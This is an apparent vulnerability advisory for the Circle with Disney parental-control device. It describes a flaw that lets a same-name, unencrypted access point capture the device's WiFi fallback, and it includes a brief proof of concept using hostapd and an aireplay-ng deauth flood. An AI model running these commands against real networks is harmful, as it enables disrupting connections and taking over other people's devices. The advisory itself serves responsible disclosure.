### Summary
An exploitable vulnerability exists in the WiFi management of Circle with Disney. A crafted Access Point with the same name as the legitimate one, can be used to make Circle connect to an untrusted network. An attacker needs to setup an Access Point reachable by the device and to send a series of spoofed "deauth" packets to trigger this vulnerability.
### Tested Versions
Circle with Disney 2.0.1
### Product URLs
https://meetcircle.com/
### CVSSv3 Score
6.5 - CVSS:3.0/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
### CWE
CWE-284: Improper Access Control
### Details
Circle with Disney is a network device used to monitor internet use of children on a given network.
Circle can connect to a home network either via WiFi or wired connection. When no cable connection is possible, Circle will switch to WiFi, which was set-up during the initial configuration.
The monitor function `sub_40AD84` in the `configd` binary keeps track of the wired interface connectivity by reading the file `/sys/class/net/eth0/carrier` every second. If the ethernet cable is disconnected, the function switches to the WiFi interface by calling `sub_40A9D4`. At high level this function works as follow:
```
def sub_40A9D4():
ssid = conf_get("wifi/ssid")
encryption = conf_get("wifi/encryption")
key = conf_get("wifi/key")
if !exists("/tmp/ap_list.out"):
system("/mnt/shares/usr/bin/scripts/aplist_create.sh") # [1]
(channel, security, hidden) = parse_ap_list(ssid) # [2]
write_file("/tmp/wifi_ssid", ssid)
write_file("/tmp/wifi_ssid_escaped", escape(ssid))
write_file("/tmp/wifi_password", key)
system('/mnt/shares/usr/bin/scripts/restart_wifi.sh %s "%s" "%s" ' % \ # [3]
(channel, security, hidden))
```
Note that `conf_get` refers to the operation of retrieving an element from "configure.xml".
In short, `sub_40A9D4` retrieves the configured SSID from "configure.xml", then using `parse_ap_list` (sub_40A640) [2] retrieves the current channel, security (WPA2, WEP or none) and whether the SSID is hidden or not, from a recent Access Point scan. These parameters are then passed to the `restart_wifi.sh` script [3].
`aplist_create.sh` [1] will be called to make sure that "ap_list.out" is filled with a list of existing Access Points. Its contents are shown below.
```
#!/bin/sh
ifconfig ra0 up
iwinfo ra0 scan > /tmp/ap_list.out # [4]
```
`iwinfo` [4] prints a list of Access Points detected by `ra0`, every entry has the following form:
```
Cell 01 - Address: 11:22:33:44:55:66
ESSID: "valid-ssid"
Mode: Master Channel: 1
Signal: -22 dBm Quality: 70/70
Encryption: WPA2 PSK (CCMP)
```
What `parse_ap_list` [2] does is parsing each of these entries in "ap_list.out", for finding the expected SSID and returning its related "Encryption" and "Channel" values. At high level it works as follows:
```
def parse_ap_list(ssid):
essid_str = 'ESSID: "%s"' % ssid
ch_str = 'Channel: '
enc_str = ' Encryption: '
channel = ''
encryption = ''
aplist = open("/tmp/ap_list.out")
for line in aplist.next(): # for each line in ap_list.out
if essid_str not in line: continue # proceed only with expected SSID
line = aplist.next() # get next line
if ch_str in line:
channel = str(int(line[line.index(ch_str) + len(ch_str):])) # extract integer after ch_str
elif enc_str in line:
encryption = line[line.index(enc_str) + len(enc_str):] # extract text after enc_str
return (channel, encryption)
...
```
When calling `restart_wifi.sh` [3] the wireless interface tries to establish a connection to the configured Access Point. Its main function is to populate the configuration file in `/tmp/wpa_supplicant.conf` based on the parameters passed to it, and finally restart `wpa_supplicant`.
When the `iwinfo` output for the configured Access Point contains the line "Encryption: WPA2 PSK (CCMP)", a generated `wpa_supplicant.conf` looks as follows:
```
ctrl_interface=/var/run/wpa_supplicant
network={
ssid=P"homenet"
bgscan=""
psk=e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
```
Whereas if the line contains "Encryption: none" the generated configuration will be:
```
ctrl_interface=/var/run/wpa_supplicant
network={
ssid=P"homenet"
bgscan=""
key_mgmt=NONE
```
As we can see from the `parse_ap_list` logic, the only variable used to identify the configured Access Point is its ESSID, and the encryption defined in `configure.xml` is not taken into account.
This way an attacker to setup a crafted Access Point with the same name as the legitimate one and to make Circle connect to it. The device will continue to function but won't be able to apply any filtering over the original network, moreover this allows an attacker to conduct further attacks against the device that may be possible only on a common subnetwork.
As an example, this vulnerability would allow an external attacker to apply TALOS-2017-0396 and TALOS-2017-0371 to completely compromise the device.
### Exploit Proof-of-Concept
The following proof of concept shows how to make the device to connect to a fake Access Point managed by an attacker.
```
$ cat << EOF > hostapd.conf
interface=wlan0
channel=1
ssid2=P"$WIFI_ROUTER_SSID"
EOF
$ hostapd -B ./hostapd.conf
$ airmon-ng start wlan0 1
$ aireplay-ng --deauth 10000 -a $WIFI_ROUTER_MAC -c $CIRCLE_MAC mon0
```
First an Access Point is created with the same name of the legitimate Access Point to which Circle is currently connected to, but without encryption.
Then, a series of spoofed "deauth" packets are sent to the device, so that Circle will drop the active connection. Circle will then rescan the available Access Points and should eventually connect to the attacker's one.
### Timeline
* 2017-09-20 - Vendor Disclosure
* 2017-10-31 - Public Release
暂无评论